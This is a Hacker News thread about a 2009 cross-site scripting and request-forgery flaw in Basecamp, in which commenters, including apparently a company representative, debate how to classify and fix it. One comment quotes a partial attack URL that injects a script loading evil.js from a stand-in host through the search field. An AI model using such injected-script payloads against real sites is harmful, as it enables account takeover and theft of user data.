
XSS is not a feature - acangiano
http://evilpacket.net/2009/jul/9/basecamp-one-wrong-click/
======
lsb
They've also been accused of storing passwords in cleartext:
<http://news.ycombinator.com/item?id=589852>

------
dhh
This was a bug and it has been fixed. We do not consider CRSF attacks to be a
feature. This is completely different from allowing legit users to post
HTML/JS from inside the application.

We now also have a dedicated email address and public key for reporting any
similar issues. See <http://37signals.com/security>.

------
andreyf
What's visible of the "evil" URL, at 1:52, looks like:
http;//andyet.basecamphq.com/search?global=true&scope=all&terms=%3Cscript+src%3d%22http;//evilsite.com/evil.js...
(: replaced with ; so news.YC doesn't shorten link)

This is a lack of filtering of a search input on the search page, not the bug
they submitted - that one included injecting HTML/JS by logged in users onto
"internal" pages. Conflating the two is disingenuous, at best.

Good news is that a fix for this vulnerability -filtering the search box's
inputs- will take about 30 seconds for someone familiar with the code base and
~5 minutes for a brand new intern.

~~~
there
it will fix that one particular blind xss vulnerability, but from 37signals'
response ("[their] users find great value in it") it sounds like they are
allowing arbitrary html and javascript to be run everywhere else on the site.

other vulnerabilities would probably require that one has a basecamp account
to be able to post messages to the site or something, but they allow privilege
escalation and need to be fixed just the same.

37signals' response that users should be trusted is just stupid. think of a
customer logging into their vendor's basecamp site, being able to take over
the vendor's account and then see all of their other customers.

users (and their input) should never be trusted. even if you trust the users,
you can't always guarantee that the trusted user is the one in control of
their web browser.

~~~
jeremymcanally
_think of a customer logging into their vendor's basecamp site, being able to
take over the vendor's account and then see all of their other customers._

Sounds like a customer I don't want. Money is great and all, but if a customer
is going to hack my Basecamp account, then I don't want to work for them
anymore.

I don't think "your users should be trusted" is a ridiculous way to look at
things. Technology can't solve some problems.

~~~
henning
> Technology can't solve some problems.

It _can_ solve this one, though.

------
philfreo
37signals is such a great company.. I really wish they would put a little
thought and effort toward security.

~~~
tptacek
I believe --- for a bunch of reasons --- that they do put thought and effort
into security. I think they often come to the wrong conclusions. We still rely
on them, but we're careful about how.

------
stse
Force the user to supply a password to change email or other important
information might help, but this XSS vulnerability is still pretty bad as you
can make all kinds of phishing-style attacks.

------
billpg
Samy is my hero.

------
dougp
This looks like cross site request forgery to me. Not an xss issue which you
notified 37 signals about.

~~~
dpcan
From another site, he executed javascript on a basecamp account with an open
session. Sounds pretty XSS to me.

~~~
dougp
Yes the javascript on a separate site the he controls made http requests
acting as the logged in user. It has nothing to do with being able to write
html and javascript on a basecamp page. <http://en.wikipedia.org/wiki/Cross-
site_request_forgery> There are lots of sites that are vulnerable to this.

~~~
there
this is really a silly semantic discussion; either way the vulnerabilities
should be fixed.

but this is xss, not csrf/xsrf. in the video he directs the user to a search
page with a query containing javascript. the javascript runs in the basecamphq
scope and changes the contents of the page to hide everything else and just
show the image, which presumably has an onclick or something that pulls in the
xsrf token and when clicked, forces the user to change his login data.

since rails has built-in xsrf protection i find it hard to imagine a 37signals
site is still vulnerable to blind xsrf attacks. if they are still allowing
arbitrary javascript to run and are putting the xsrf token in a javascript
variable somewhere (which is commonly needed for ajax operations that post),
then the protection doesn't do them much good. they need to stop allowing
arbitrary javascript to be executed.

i can't think of a good reason why they need to allow the full set of html
tags and javascript to run on their user sites. they should be sanitizing all
of the output and only allowing a whitelist of tags and attributes that can't
do any harm.

~~~
tptacek
Without the XSRF, the "XSS" wouldn't be exploitable. Without the "XSS", the
XSRF would still be exploitable. This is an XSRF attack.

It's not a silly discussion, but it is academic. The vulnerability should be
fixed.

~~~
simonw
I see this as an XSS, not a CSRF. The search form is a GET form, and GET forms
are /designed/ for cross-site requests - you can link to them to trigger an
action, but it's not a forgery since there's no expectation that a GET request
was initiated by the same site (people are expected to bookmark them, after
all). The POST requests that manipulate the user's account are taking place
from within the same domain, driven by the JavaScript that was injected using
XSS. You could call them a forgery, but they're not a cross-site forgery since
they originate on the same site.

All XSS holes are automatically CSRF holes, since XSS can be used to work
around all forms of CSRF protection.

------
erlanger
Basecamp is not a bank.

~~~
natrius
That's ridiculous. People use Basecamp to run their businesses, which are the
source of all their _future_ income, which, in most cases, is more valuable
than your current bank account balance.

~~~
erlanger
'Twas a joke (I myself run a significant portion of by business through
Basecamp so what you argue is pretty apparent). The "X is not a bank" thing is
a joke about sites with cavalier attitudes toward security.

------
suhail
it was for myspace

